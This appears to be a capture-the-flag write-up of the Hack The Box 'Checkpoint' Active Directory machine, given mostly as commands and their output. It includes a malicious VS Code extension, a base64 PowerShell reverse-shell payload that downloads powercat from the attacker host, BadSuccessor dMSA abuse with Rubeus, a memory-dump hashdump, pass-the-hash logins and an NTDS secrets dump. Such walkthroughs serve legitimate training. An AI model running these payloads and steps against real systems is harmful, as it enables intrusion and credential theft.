Description

Checkpoint is a medium-difficulty Active Directory (AD) environment machine hosted on Hack The Box. Key vulnerabilities and discovery paths found in this machine include:

  • Vulnerable SMB shares (DevDrop, VMBackups)
  • Malicious Visual Studio Code Extension Remote Command Execution
  • Directory Service Management Account (dMSA) vulnerabilities (BadSuccessor)
  • Lateral movement via Kerberos ticket harvesting (TGS delegation)
  • Credential harvesting from memory dumps (Volatility)
  • Domain secret extraction (NTDS.DIT)

Footprinting

The initial phase of reconnaissance focused on gathering basic network information regarding the target IP address, 10.129.16.242. A basic ping utility was executed to assess network reachability and analyze the Time To Live (TTL) value.

$ ping -c 3 10.129.16.242
PING 10.129.16.242 (10.129.16.242) 56(84) bytes of data.
64 bytes from 10.129.16.242: icmp_seq=1 ttl=127 time=47.1 ms
64 bytes from 10.129.16.242: icmp_seq=2 ttl=127 time=47.2 ms
64 bytes from 10.129.16.242: icmp_seq=3 ttl=127 time=47.8 ms

--- 10.129.16.242 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.105/47.380/47.842/0.328 ms

The observed TTL of 127 is characteristic of a Windows-like operating system, though the subsequent Nmap analysis revealed the host runs a Windows environment. A basic Nmap scan was performed to identify open TCP ports and running services:

$ sudo nmap 10.129.16.242 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.16.242
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds

The results confirmed the presence of numerous critical services, including LDAP, SMB, Kerberos, and RPC, confirming the machine’s role as a Domain Controller.

Enumeration

The enumeration phase utilized the discovered open ports for detailed service version detection and information gathering, which is crucial for identifying potential attack surfaces. A comprehensive Nmap scan was executed using service detection (-sV) and default scripts (-sC):

$ nmap 10.129.16.242 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.16.242
Host is up (0.048s latency).

PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.71 seconds

To ensure accurate host resolution, the domain checkpoint.htb and the hostname DC01.checkpoint.htb were added to the local system’s hosts file:

$ echo '10.129.16.242 checkpoint.htb' | sudo tee -a /etc/hosts
$ echo '10.129.16.242 DC01.checkpoint.htb' | sudo tee -a /etc/hosts

We assumed the presence of a known user (alex.turner) with a password (Checkpoint2024!) to establish initial foothold capabilities. After synchronizing the local machine time with the server’s time, we began domain-wide enumeration using SMB.

$ sudo timedatectl set-ntp off
$ sudo ntpdate 10.129.16.242

The netexec utility was used to enumerate local users within the domain:

$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users        
SMB         10.129.16.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.16.242   445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.16.242   445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                
SMB         10.129.16.242   445    DC01             Administrator                 2026-05-09 16:16:34 0       Built-in account for administering the computer/domain
SMB         10.129.16.242   445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.129.16.242   445    DC01             krbtgt                        2026-05-09 08:41:01 0       Key Distribution Center Service Account 
SMB         10.129.16.242   445    DC01             alex.turner                   2026-05-09 09:00:08 0        
SMB         10.129.16.242   445    DC01             ryan.brooks                   2026-05-10 13:46:18 0        
SMB         10.129.16.242   445    DC01             svc_deploy                    2026-05-09 09:01:19 0       Deployment service account 
SMB         10.129.16.242   445    DC01             james.harper                  2026-05-09 09:02:53 0        
SMB         10.129.16.242   445    DC01             sarah.mitchell                2026-05-09 09:02:58 0        
SMB         10.129.16.242   445    DC01             emily.carter                  2026-05-09 09:03:05 0        
SMB         10.129.16.242   445    DC01             david.reynolds                2026-05-09 09:03:11 0        
SMB         10.129.16.242   445    DC01             jessica.coleman               2026-05-09 09:03:15 0        
SMB         10.129.16.242   445    DC01             lauren.flores                 2026-05-09 09:03:21 0        
SMB         10.129.16.242   445    DC01             michael.torres                2026-05-09 09:03:28 0        
SMB         10.129.16.242   445    DC01             kevin.patterson               2026-05-09 09:03:33 0        
SMB         10.129.16.242   445    DC01             brian.jenkins                 2026-05-09 09:03:37 0        
SMB         10.129.16.242   445    DC01             megan.perry                   2026-05-09 09:03:42 0        
SMB         10.129.16.242   445    DC01             max.palmer                    2026-05-26 01:25:15 0        
SMB         10.129.16.242   445    DC01             [*] Enumerated 17 local users: CHECKPOINT

Many users, alex.turner, ryan.brooks, svc_deploy, james.harper, sarah.mitchell, emily.carter, david.reynolds, jessica.coleman, lauren.flores, michael.torres, kevin.patterson, brian.jenkins, megan.perry y max.palmer, are found in the domain. Next, we enumerated available SMB shares using the same credentials:

$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
SMB         10.129.16.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.16.242   445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.16.242   445    DC01             [*] Enumerated shares
SMB         10.129.16.242   445    DC01             Share           Permissions     Remark
SMB         10.129.16.242   445    DC01             -----           -----------     ------
SMB         10.129.16.242   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.16.242   445    DC01             C$                              Default share
SMB         10.129.16.242   445    DC01             DevDrop         READ            VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.16.242   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.16.242   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.16.242   445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.16.242   445    DC01             VMBackups

The shares DevDrop and VMBackups were identified as high-value targets. DevDrop allows for the submission of VS Code extensions. VMBackups contains virtual machine snapshots. To proceed with privilege escalation, we used bloodyAD to determine the writable entities for alex.turner, revealing that the user could modify deleted objects and, importantly, had WRITE permissions on the user CN=Mark Davies.

$ bloodyad -d checkpoint.htb --host DC01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

This led to the restoration of a deleted user, Mark Davies or mark.davies, which allowed for password spraying:

$ bloodyad -d checkpoint.htb --host DC01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Password spraying confirmed that mark.davies also uses the credential Checkpoint2024!. Enumerating shares with this new user revealed a critical change in permissions:

$ netexec smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB         10.129.16.242   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.16.242   445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.16.242   445    DC01             [*] Enumerated shares
...
SMB         10.129.16.242   445    DC01             DevDrop         READ,WRITE      VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
...

We successfully escalated access to READ,WRITE on the DevDrop share.

Exploitation

With write permission on DevDrop, we proceeded to exploit a Remote Code Execution (RCE) vulnerability through the VS Code extension mechanism. The goal was to deliver a payload that would establish a reverse shell. First, the necessary tool (vsce) is installed and then the malicious extension folder is created:

$ npm install @vscode/vsce
$ mkdir mal-ext
$ cd mal-ext

A malicious extension will be created. The package.json and extension.js files were configured to execute a remote command via child_process upon activation. First we write a sample README.md file.

# README.md
Malicious Extension for Remote Code Execution

Then we write the manifest file, package.json.

{
  "name": "malicious-extension",
  "displayName": "Malicious Extension",
  "description": "Malicious Extension for Remote Code Execution",
  "version": "1.0.0",
  "publisher": "hackthebox",
  "engines": {
    "vscode": "^1.80.0"
  },
  "categories": [
    "Other"
  ],
  "activationEvents": [
    "onStartupFinished"
  ],
  "main": "./extension.js",
  "contributes": {}
}

And then in extension.js file the extension code. The command variable was carefully encoded using Base64 UTF-16LE, targeting a PowerShell reverse connection:

const vscode = require('vscode');
const { exec } = require('child_process');

let intervalId = null;

function activate(context) {
    console.log('Extension active.');

    const sendRequest = () => {
        const command = '<COMMAND_TO_EXECUTE>'
        exec(command, (error, stdout, stderr) => {
            if (error) {
                console.error(`Error in send request: ${error.message}`);
                return;
            }
            console.log(`Request send successfully: ${stdout}`);
        });
    };

    sendRequest();

    intervalId = setInterval(sendRequest, 30000);

    context.subscriptions.push({
        dispose: () => {
            if (intervalId) {
                clearInterval(intervalId);
            }
        }
    });
}

function deactivate() {
    if (intervalId) {
        clearInterval(intervalId);
    }
}

module.exports = {
    activate,
    deactivate
}

The payload string, encoded for PowerShell, was generated:

$ echo -n 'IEX(New-Object System.Net.Webclient).DownloadString("http://10.10.14.207/powercat.ps1");powercat -c 10.10.14.207 -p 1234 -e powershell' | iconv -t UTF-16LE | base64 -w0 
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwADcALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAiACkAOwBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADAALgAxADAALgAxADQALgAyADAANwAgAC0AcAAgADEAMgAzADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsAA==

A local HTTP server was started to serve the payload script.

$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80

The malicious VSIX package was generated and uploaded to the DevDrop share:

$ ../node_modules/@vscode/vsce/vsce package --no-dependencies
 WARNING  A 'repository' field is missing from the 'package.json' manifest file.
Use --allow-missing-repository to bypass.
Do you want to continue? [y/N] y
 WARNING  LICENSE, LICENSE.md, or LICENSE.txt not found
Do you want to continue? [y/N] y
 WARNING  Neither a .vscodeignore file nor a "files" property in package.json was found. To ensure only necessary files are included in your extension, add a .vscodeignore file or specify the "files" property in package.json. More info: https://aka.ms/vscode-vscodeignore

 INFO  Files included in the VSIX:
malicious-extension-1.0.0.vsix
├─ [Content_Types].xml 
├─ extension.vsixmanifest 
└─ extension/
   ├─ extension.js [1.22 KB]
   ├─ package.json [0.37 KB]
   └─ readme.md 

 DONE  Packaged: /home/r/Documentos/htb/checkpoint/mal-ext/malicious-extension-1.0.0.vsix (5 files, 2.23 KB)
 
$ smbclient '//checkpoint.htb/DevDrop' -U 'mark.davies%Checkpoint2024!'
Try "help" to get a list of possible commands.
smb: \> put malicious-extension-1.0.0.vsix
putting file malicious-extension-1.0.0.vsix as \malicious-extension-1.0.0.vsix (15,6 kB/s) (average 15,6 kB/s)

This deployment successfully delivered the RCE payload, resulting in a reverse shell session established as ryan.brooks:

$ nc -nvlp 1234                                                          
listening on [any] 1234 ...
connect to [10.10.14.207] from (UNKNOWN) [10.129.16.242] 65507
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Program Files\Microsoft VS Code> whoami
whoami
checkpoint\ryan.brooks

Post-Exploitation

The initial shell provided a user account (ryan.brooks) with limited privileges. The objective shifted to lateral movement and privilege escalation within the Active Directory environment. We move to the user’s home directory and download the bloodyAD to determine which objects ryan.brooks has write permissions over on the machine.

PS C:\Program Files\Microsoft VS Code> cd C:\Users\ryan.brooks
PS C:\Users\ryan.brooks> IWR -O bloodyAD.exe http://10.10.14.207/bloodyAD.exe
PS C:\Users\ryan.brooks> .\bloodyAD.exe --host checkpoint.htb get writable
distinguishedName: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE

We observe two very interesting findings. First, we have the CREATE_CHILD permission over the DMSAHolder OU, which allows us to facilitate the attack known as BadSuccessor. We also have the GenericWrite permission over the svc_deploy service account.

The BadSuccessor vulnerability, detailed by Akamai in their research article, abuses dMSAs to escalate privileges in Active Directory. Any user with either the Create msDS-DelegatedManagedServiceAccount permission or the Create all child objects permission on an OU can create a dMSA. We can leverage the SharpSuccessor tool developed by logangoins to exploit the vulnerability. We will also use a specific version of Rubeus to generate the required Kerberos tickets after creating the dMSA account.

We will attempt to impersonate the built-in Administrator account. We start by downloading the tools and creating the malicious dMSA.

PS C:\Users\ryan.brooks> IWR -O SharpSuccessor.exe http://10.10.14.207/SharpSuccessor.exe
PS C:\Users\ryan.brooks> IWR -O Rubeus.exe http://10.10.14.207/Rubeus.exe
PS C:\Users\ryan.brooks> .\SharpSuccessor.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:admin_dMSA /impersonate:Administrator
...

[+] Adding dnshostname admin_dMSA.checkpoint.htb
[+] Adding samaccountname admin_dMSA$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=admin_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=admin_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to Administrator object
[+] msDS-SupersededServiceAccountState set to 2
[!] Exception: Access is denied.

We can see that the dMSA creation was successful; however, an error occurred when attempting to modify the msDS-SupersededServiceAccountState attribute. If the BadSuccessor vulnerability has been patched through a security update, we will not be able to pivot to this account because of this issue and because we do not have GenericWrite permissions over the Administrator user. We proceed by generating a delegated Ticket Granting Ticket (TGT), which will later be used to request a Ticket Granting Service (TGS) ticket.

PS C:\Users\ryan.brooks> .\Rubeus.exe tgtdeleg /nowrap
...

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: DOkZRUa0FJoEVboW6AlrK//hVHJksie4sJQtxhWQ8jI=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRua2LqSV8tpO82p9LbYsebZO...gPMjAyNjA2MTUwNzIzNDhapxEYDzIwMjYwNjIxMjEyMzQ4WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=

We use the obtained TGT to request a TGS for the Kerberos service (krbtgt).

PS C:\Users\ryan.brooks> .\Rubeus.exe asktgs /targetuser:admin_dMSA$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgAwIBB...w5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
...
[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'admin_dMSA$' from 'ryan.brooks'
[+] Sequence number is: 568864504
[*] Using domain controller: DC01.checkpoint.htb (fe80::400a:d6de:c424:e1ae%5)

[X] KRB-ERROR (60) : KRB_ERR_GENERIC

The request failed with the error KRB_ERR_GENERIC. This indicates that the vulnerability has been patched on the system and will only work against accounts for which we possess GenericWrite permissions. As Akamai explains in their follow-up blog post (https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch): If an attacker controls a target principal (e.g., has GenericWrite on a user or computer), they can compromise it either by adding a shadow credential or by performing a targeted Kerberoasting attack. BadSuccessor opens a new attack path, if an attacker controls a dMSA, they can perform a mutual pairing and request a ticket for the dMSA. This allows them to act with the target’s effective privileges while using the dMSA identity (useful when the target account is closely monitored).

Fortunately, as we observed earlier, we have write permissions over the svc_deploy account. Therefore, we repeat the attack against this account. This time, the msDS-SupersededServiceAccountState attribute is written successfully.

PS C:\Users\ryan.brooks> .\SharpSuccessor.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:svcdeploy_dMSA /impersonate:svc_deploy
...
[+] Adding dnshostname svcdeploy_dMSA.checkpoint.htb
[+] Adding samaccountname svcdeploy_dMSA$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=svcdeploy_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=svcdeploy_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully

PS C:\Users\ryan.brooks> .\Rubeus.exe asktgs /targetuser:svcdeploy_dMSA$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgAw...VDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
...
[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'svcdeploy_dMSA$' from 'ryan.brooks'
[+] Sequence number is: 974784769
[*] Using domain controller: DC01.checkpoint.htb (fe80::400a:d6de:c424:e1ae%5)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIGBDCCBgCgAwIBBaE...tQT0lOVC5IVEI=

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  svcdeploy_dMSA$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
...
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  a/878j7Z73dWkMsmNhMLGzbBiYvHhoOE2LoQdxi2e6Y=
  Current Keys for svcdeploy_dMSA$: (aes256_cts_hmac_sha1) 4729684A526ED330AEDF4464A0300CC158CB8E79F2809EC0EA4D72D498A585DE

We take this ticket, transfer it to our attacker machine, and convert it into the .ccache format.

$ echo 'doIGBDCCBgC...aMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=' | base64 -d > svc_deploy.kirbi
$ impacket-ticketConverter svc_deploy.kirbi svc_deploy.ccache
$ export KRB5CCNAME=./svc_deploy.ccache

The session was transitioned to an interactive shell via evil-winrm:

$ evil-winrm -i DC01.checkpoint.htb -r CHECKPOINT.HTB                              ...
*Evil-WinRM* PS C:\Users\svcdeploy_dMSA$\Documents> whoami
checkpoint\svcdeploy_dmsa$

While enumerating the system, we discovered the location of the VMBackups shared folder at C:\Shares\VMBackups. We listed its contents and found that we now have read access to the directory. Inside, we identified a VMware backup of a Windows Server 2019 virtual machine stored in the NightlyBackup_2024-11-01 folder.

*Evil-WinRM* PS C:\Users\svcdeploy_dMSA$\Documents> cd C:\Shares\VMBackups
*Evil-WinRM* PS C:\Shares\VMBackups> dir
    Directory: C:\Shares\VMBackups

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2026   9:54 AM                NightlyBackup_2024-11-01

*Evil-WinRM* PS C:\Shares\VMBackups> cd NightlyBackup_2024-11-01
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01> dir
    Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2026  10:12 AM                memory forensics

*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01> cd "memory forensics"
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> dir
    Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/9/2026   7:45 PM      106496000 Windows Server 2019-000001.vmdk
-a----          5/9/2026   7:40 PM     2147483648 Windows Server 2019-Snapshot1.vmem
-a----          5/9/2026   7:40 PM      138164859 Windows Server 2019-Snapshot1.vmsn
-a----          5/9/2026   7:39 PM         270840 Windows Server 2019.nvram
-a----          5/9/2026   7:45 PM           7642 Windows Server 2019.scoreboard
-a----          5/9/2026   7:39 PM    10199695360 Windows Server 2019.vmdk
-a----          5/9/2026   7:39 PM            502 Windows Server 2019.vmsd
-a----          5/9/2026   7:45 PM           2749 Windows Server 2019.vmx
-a----          5/9/2026   7:22 PM            274 Windows Server 2019.vmxf

One file immediately stands out: Windows Server 2019-Snapshot1.vmem, which contains a memory dump of the virtual machine. This means we may be able to recover user credentials in the form of password hashes from the virtual machine. If any of those credentials are reused on the current system, we may be able to escalate privileges.

We will use Volatility 3 to analyze the memory dump. First, we transfer the vol.exe binary to the target machine.

*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> cd C:\Shares\
*Evil-WinRM* PS C:\Shares> upload vol.exe

We also need to upload the symbol file ntkrnlmp.pdb. The symbol file must be converted into a format understood by Volatility. To do this, we download the PDB file and install on our attacker machine.

$ wget http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pdb
$ virtualenv .env
$ . .env/bin/activate
$ pip install volatility3

Next, we generate the symbol tables using the included pdbconv.py script. This produces a .json.xz file.

$ python .env/lib/python3.13/site-packages/volatility3/framework/symbols/windows/pdbconv.py -f ntkrnlmp.pdb
$ ls *.json.xz
EF9A48AFA50FF07C616585BB01919536-1.json.xz

We upload the generated symbol file to the appropriate directory on the remote machine.

*Evil-WinRM* PS C:\shares> mkdir symbols
*Evil-WinRM* PS C:\shares> mkdir symbols\windows
*Evil-WinRM* PS C:\shares> mkdir symbols\windows\ntkrnlmp.pdb
*Evil-WinRM* PS C:\shares> upload EF9A48AFA50FF07C616585BB01919536-1.json.xz symbols/windows/ntkrnlmp.pdb/

We use Volatility’s windows.info plugin to gather information about the memory dump.

*Evil-WinRM* PS C:\Shares> .\vol.exe --symbol-dirs C:\Shares\symbols\ -f ".\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.info
Volatility 3 Framework 2.28.0
...
Variable        Value

Kernel Base     0xf80725608000
DTB     0x1ad000
Symbols file:///C:/Shares/symbols/windows/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB01919536-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf80725a08f10
Major/Minor     15.17763
MachineType     34404
KeNumberProcessors      2
SystemTime      2026-05-09 14:08:58+00:00
NtSystemRoot    C:\Windows
NtProductType   NtProductServer
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Sun Nov 10 07:20:39 2075

The output confirms that the memory image was loaded correctly. We can now extract password hashes using the windows.hashdump plugin.

*Evil-WinRM* PS C:\Shares> .\vol.exe --symbol-dirs C:\Shares\symbols\ -f ".\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.hashdump
...
Administrator   500     aad3b435b51404eeaad3b435b51404ee        f29e9c014295b9b32139b09a2790be3b
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        28f8d934dee90b2ec824351cb0844479

We recover the NT hash f29e9c014295b9b32139b09a2790be3b for the Administrator account. We verify that the same password is reused by the local Administrator account on the current machine and successfully authenticate using Evil-WinRM.

$ evil-winrm -i DC01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
...
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator

Next, we dump the domain password hashes using impacket-secretsdump. We pay particular attention to the max.palmer account, which is a local administrator on the machine.

$ impacket-secretsdump checkpoint.htb/Administrator@checkpoint.htb -hashes :f29e9c014295b9b32139b09a2790be3b
...
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:015e3bf70a412ef82b604fae3b1c30e8:::
checkpoint.htb\alex.turner:1101:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
checkpoint.htb\mark.davies:1102:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
checkpoint.htb\ryan.brooks:1103:aad3b435b51404eeaad3b435b51404ee:82d044eb259e495fd92a52b2ccece067:::
checkpoint.htb\svc_deploy:1104:aad3b435b51404eeaad3b435b51404ee:e16081eb077aca74bdbf8af12af43ac9:::
checkpoint.htb\james.harper:1111:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
...
max.palmer:5101:aad3b435b51404eeaad3b435b51404ee:7d7670c154bf5439523729639c6d2f16:::
...

We authenticate as max.palmer using the recovered NT hash 7d7670c154bf5439523729639c6d2f16.

$ evil-winrm -i DC01.checkpoint.htb -u max.palmer -H 7d7670c154bf5439523729639c6d2f16
...
*Evil-WinRM* PS C:\Users\max.palmer\Documents> whoami
checkpoint\max.palmer

Flags

The flags were successfully retrieved during the final administrative session:

